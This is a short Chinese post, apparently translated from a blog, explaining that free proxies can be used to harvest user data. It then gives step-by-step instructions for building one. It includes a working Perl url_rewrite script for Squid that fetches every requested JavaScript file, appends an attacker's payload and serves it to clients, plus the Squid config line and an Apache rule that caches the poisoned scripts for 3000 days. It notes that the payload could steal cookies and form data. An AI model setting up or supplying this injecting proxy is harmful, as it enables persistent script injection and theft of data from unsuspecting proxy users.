为什么会有免费代理?

五道口杀气 | 2015-01-04 12:14

因为这是一个很简单就可以收集用户数据的方法。

所有的工作都是可以通过修改SQUID配置达到。

1.[Server] 在linux服务器上安装Squid服务。

2.[Payload] 修改服务端配把所有的javascript文件都加上一段我们自己的代码。

3.[Cache] 修改.js文件的缓存时间。

作者搭建了一个代理服务器,过了几天有超过5000个人用他的代理,大多数的人是用来做坏的事情,但是他们没有想到的是,代理服务器也可以对他们做坏的事情。

做你自己的植入js文件的代理服务器

除了你自己的squid代理服务器外,你还需要一个web服务器,这里用Apache为例:

1.创建payload,这里只是修改a标签连接为例,实际过程可以偷取cookie,获取提交表单内容等。

for(var i=0;i<document.getElementsByTagName('a').length;i++)  

   document.getElementsByTagName('a')[i].href = "https://blog.haschek.at";

2.写squid脚本文件,来修改所有的.js文件:

/etc/squid/poison.pl

#!/usr/bin/perl

$|=1;

$count = 0;

$pid = $$;

while(<>)

{

  chomp $_;

  if($_ =- /(.*\.js)/i)

  {

        $url = $1;

        system("/usr/bin/wget","-q","-O","/var/www/tmp/$pid-$count.js","$url");

        system("chmod o+r /var/www/tmp/$pid-$count.js");

        system("cat /etc/squid/payload.js >> /var/www/tmp/$pid-$count.js");

        print "http://127.0.0.1:80/tmp/$pid-$count.js\n";

  }

  else

  {

        print "$_\n";

  }

$count++;

}

脚本用wget获取页面原始的javascript文件,然后吧/etc/squid/payload.js文件添加进去,修改后的文件返回到客户端,同时你需要创建/var/www/tmp目录,并允许squid在其中写文件。这个目录存修改后的js文件。

3.告诉squid使用该脚本

在/etc/squid/squid.conf中添加

url_rewrite_program /etc/squid/poison.pl

4.设置js文件缓存时间

/var/www/tmp/.htaccess

ExpiresActive On

ExpiresDefault "access plus 3000 days"

告诉Apache服务器设置超长缓存时间,除非客户端清除浏览器缓存。

from:https://blog.haschek.at/post/fd9bc